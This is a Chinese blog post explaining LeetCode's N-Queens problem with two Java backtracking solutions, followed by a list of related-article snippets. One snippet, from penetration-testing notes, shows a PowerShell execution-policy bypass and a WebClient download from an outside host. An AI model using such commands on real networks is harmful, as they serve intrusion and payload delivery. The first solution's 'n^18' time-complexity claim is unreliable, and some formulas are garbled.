51. N-Queens

文章目录

  • 1 题目理解
  • 2 回溯
  • 2.1 直观解法
  • 2.2 按行遍历

1 题目理解

The n-queens puzzle is the problem of placing n queens on an n x n chessboard such that no two queens attack each other.

Given an integer n, return all distinct solutions to the n-queens puzzle.

Each solution contains a distinct board configuration of the n-queens’ placement, where ‘Q’ and ‘.’ both indicate a queen and an empty space, respectively.

n皇后问题

输入:整数n
输出:不同的解决方法
规则:n个皇后不能在同一行、同一列、同一对角线上,反对角线也不可以。
在这里插入图片描述

2 回溯

2.1 直观解法

这道题目最直接的解法是,遍历每个位置,在这个位置判断是否可以放皇后,如果能放,就有两种选择:放、不放。如果不能放,则向前递归。这个思路和数独题目类似。不同之处是还需要考虑对角线和反对角线。(以下内容来自力扣)
在这里插入图片描述
对于对角线上的元素特点是横坐标-纵坐标的值相同。
例如对角线(0,0) (1,1),(2,2),横坐标-纵坐标=0
对角线(0,4)(1,5)(2,6),横坐标-纵坐标=-4
用数组int[] diagnol 表示对角线是否冲突。可以用差的绝对值,也可以i-j+n来将横坐标-纵坐标放在一个合理的数组下标范围内。

在这里插入图片描述
反对角线的特征是 横坐标+纵坐标 值固定。
例如反对角线(0,2)(1,1)(2,0),横坐标+纵坐标=2
反对角线(0,5)(1,4)(2,3),横坐标+纵坐标=5
用数组int[] antiDiagnol 表示反对角线是否冲突。

class Solution {private List<List<String>> answer;private int n;private int[][] board;//表示第i行第j列是不是有皇后private int[] rows;private int[] cols;private int[] diagnol;private int[] antiDiagnol;public List<List<String>> solveNQueens(int n) {answer = new ArrayList<List<String>>();this.n = n;board = new int[n][n];rows = new int[n];cols = new int[n];diagnol = new int[2*n];antiDiagnol = new int[2*n];dfs(0,0,0);return answer;}private void dfs(int row,int col,int queueCount){if(col == n){if(queueCount==n){List<String> list = new ArrayList<String>();for(int i=0;i<n;i++){String val = "";for(int j=0;j<n;j++){val+=(board[i][j]==1?"Q":".");}list.add(val);}answer.add(list);}}else{int nextRow = (row+1)%n;int nextCol = (nextRow==0?col+1:col);if(canPutQueue(row,col)){put(row,col);dfs(nextRow,nextCol,queueCount+1);clear(row,col);}dfs(nextRow,nextCol,queueCount);}}private void put(int row,int col){board[row][col]=1;rows[row]=1;cols[col] = 1;diagnol[row-col+n]=1;antiDiagnol[row+col]=1;}private void clear(int row,int col){board[row][col]=0;rows[row]=0;cols[col] = 0;diagnol[row-col+n]=0;antiDiagnol[row+col]=0;}private boolean canPutQueue(int i,int j){return rows[i]==0 && cols[j]==0 && diagnol[i-j+n]==0 && antiDiagnol[i+j]==0;}
}

因为过程中有放和不放的操作,所以需要记录最终放了多少个皇后。所以有queueCount==n的判断。
时间复杂度:有n2n^2n2个位置,每个位置有9种可能,所以最终时间复杂度n18n^{18}n18

2.2 按行遍历

因为每个皇后最后一行上只能有一个,所以可以先按行遍历,在这一行一定要放一个。在处理每一行的时候可以枚举放在[0,n-1]的某一列。

class Solution {private List<List<String>> answer;private int n;private int[][] board;//表示第i行第j列是不是有皇后private int[] cols;private int[] diagnol;private int[] antiDiagnol;public List<List<String>> solveNQueens(int n) {answer = new ArrayList<List<String>>();this.n = n;board = new int[n][n];cols = new int[n];diagnol = new int[2*n];antiDiagnol = new int[2*n];dfs(0);return answer;}private void dfs(int row){if(row == n){List<String> list = new ArrayList<String>();for(int i=0;i<n;i++){String val = "";for(int j=0;j<n;j++){val+=(board[i][j]==1?"Q":".");}list.add(val);}answer.add(list);}else{for(int col=0;col<n;col++){if(canPutQueue(row,col)){put(row,col);dfs(row+1);clear(row,col);}}}}private void put(int row,int col){board[row][col]=1;cols[col] = 1;diagnol[row-col+n]=1;antiDiagnol[row+col]=1;}private void clear(int row,int col){board[row][col]=0;cols[col] = 0;diagnol[row-col+n]=0;antiDiagnol[row+col]=0;}private boolean canPutQueue(int i,int j){return cols[j]==0 && diagnol[i-j+n]==0 && antiDiagnol[i+j]==0;}
}

时间复杂度:O(n!)O(n!)O(n!)第一行有n种放法,第二行有n-1种放法,第三行有n-2种…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424207.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第一百零一期:如何处理ASP .NET Core中的cookie?

本文介绍了ASP.NET Core Web应用程序中利用cookie存储和检索针对特定用户的信息。 作者&#xff1a;布加迪编译 【51CTO.com快译】cookie是通常用于存储有关用户信息的一条数据&#xff0c;存储在用户的计算机上。在大多数浏览器中&#xff0c;每个cookie都存储为一个小文件&a…

男生给女生最牛B的告白

1、别以为平胸就说明自己有脑&#xff0c;别以为自己笨就一定丰满。基本上没有男人会笨到认为脑子和胸部有任何联系. 2、爱不爱你&#xff1f;别tm一直问偶这个问题。什么也不说&#xff0c;你丫哭&#xff1b;犹豫了一会说&#xff0c;你丫说不坚决&#xff1b;脱口而出你丫又…

四、COSMIC功能点实操

一、识别功能处理 二、识别功能处理的数据对象 三、识别数据对象的数据移动 四、要点规则 1.消息提示&#xff1a;一个功能处理的所有消息提示作为一个X&#xff0c;如果涉及到动态的提示单独作为一个X 2.分析功能是新增的还是修改的&#xff0c;新增功能的数据运算都不算功能点…

第一百零二期:5G套餐到底该不该换?看完你就明白啦!

日前&#xff0c;三大运营商正式宣布5G商用&#xff0c;并公布了各自的5G资费套餐。毫无意外&#xff0c;正式公布出来的套餐内容&#xff0c;和之前运营商内部泄露的内容完全一致。 作者&#xff1a;小枣君 日前&#xff0c;三大运营商正式宣布5G商用&#xff0c;并公布了各自…

79. Word Search

文章目录1题目理解2 回溯3 212 word search II1题目理解 Given an m x n board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cells, where “adjacent” cells are horizontally or vertically ne…

怀念西电北门的石凳(转载)

想起1996年某个春天的清晨<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />那个被我叫做小可的女生和我坐在北门里的石凳上让我帮她讲数学&#xff5e;清晨的风清凉地流着&#xff5e;划过记忆里永远不曾尘封的忧伤&#xff5e;感…

内网文件传输

转自&#xff1a;https://github.com/l3m0n/pentest_study windows下文件传输 1、powershell文件下载 powershell突破限制执行&#xff1a;powershell -ExecutionPolicy Bypass -File .\1.ps1 $d New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/fil…

127. Word Ladder

文章目录1 题目理解2 BFS3 双向BFS1 题目理解 给定两个单词&#xff08;beginWord 和 endWord&#xff09;和一个字典&#xff0c;找到从 beginWord 到 endWord 的最短转换序列的长度。转换需遵循如下规则&#xff1a; 每次转换只能改变一个字母。 转换过程中的中间单词必须是…

关于DataAdapter打开和关闭连接

今天看书的时候,终于看明白了DataAdapter相关的打开和关闭连接的问题DataAdapter使用的时候可以不显示的打开或关闭连接,这是因为DataAdapter能够自动的处理该任务.如果在调用Fill方法的时候连接是关闭的,则连接会自动打开,然后从数据库中把数据记录填充到DataSet中,接着连接会…

讨论ALL_ROWS模式和FIRST_ROWS模式

在CBO的优化模式下&#xff0c;我们可以使用optimizer_mode参数控制优化模式。主要有两种模式&#xff0c;一种是ALL_ROWS模式&#xff0c;另外一种是FIRST_ROWS模式。 ALL_ROWS模式适用场景&#xff1a;希望优化程序给出一种尽快得到全部记录的执行计划&#xff0c;目标是增加…

第一百零三期:解读回归测试:类型、选择、挑战和实践

本文介绍了回归测试的基本概念、工作方式、面临的挑战、以及业界的优秀实践。 作者&#xff1a;陈峻编译 【51CTO.com快译】有研究表明&#xff1a;在安装了新的应用程序之后&#xff0c;只有四分之一的用户会在次日回到该应用。而大多数用户在首次使用之后就直接将其卸载掉了…

126. Word Ladder II

文章目录1 题目理解2 BFS1 题目理解 题目要求和127是一样的。返回值不一样。返回值要求把最短路径的&#xff0c;具体路径输出。 Input: beginWord “hit”, endWord “cog”, wordList [“hot”,“dot”,“dog”,“lot”,“log”,“cog”] Output: [ [“hit”,“hot”,“…

如何构建积木式Web应用

上下文基本上我们在儿童时代都玩过积木玩具。通过一块块的积木&#xff0c;再加上我们的想象力&#xff0c;就可以构造出非常多不同的风格的建筑。那么&#xff0c; 我们可不可以把这种搭积木的方式应用到我们的web应用上呢。问题web应用通过提供给用户一整套组件&#xff08;相…

第一百零四期:搞清这些陷阱,NULL和三值逻辑再也不作妖

NULL 用于表示缺失的值或遗漏的未知数据&#xff0c;不是某种具体类型的值。数据表中的 NULL 值表示该值所处的字段为空&#xff0c;值为 NULL 的字段没有值&#xff0c;尤其要明白的是&#xff1a;NULL 值与 0 或者空字符串是不同的。 作者&#xff1a;youzhibing2904 NULL …

752. Open the Lock

文章目录1 题目理解2 BFS3 用int构建状态1 题目理解 一个钟表有4个槽&#xff0c;每个槽可以停在0-9&#xff0c;10个状态。钟表每个槽的轮子可以转&#xff0c;例如可以从0转到9&#xff0c;也可以从0转到1。 钟表的起始状态是"0000"。每个数字代表一个槽的状态。 …

移动开发 视频收集

构建基于SQL CE的移动方案http://download.chinaitlab.com/video/files/8282.html转载于:https://www.cnblogs.com/Regal/archive/2006/03/23/356800.html

移动混合开发之android文件管理新建文件和删除文件

今天经过一天超过8小时的实践&#xff0c;有很多CSS上的细节需要注意&#xff1a; 1&#xff0c; /*注意是对before的操作*/ .content ul li .icon-check-empty:before{display: block;/*webFont设置其width和height时无效,只有设置font-size*//*width: 3rem;*//*height: 3rem;…

spring mvc学习(19):cookievalue注解(显示cookie的值,默认必须有值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…

续:C#串口操作

今天继续写C#的工业扫描串口。突然遇到一个很奇怪的问题&#xff1a;那就是我要求把某些码得到之后进行业务处理&#xff0c;但是就是这个时候突然发现扫描出来的 码位数不正确了&#xff01;我就很怀疑自己的代码逻辑了。于是&#xff0c;我就逐行进行调试&#xff0c;而接受口…

spring mvc学习(20):RequestHeader(获取请求头中某一部分值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…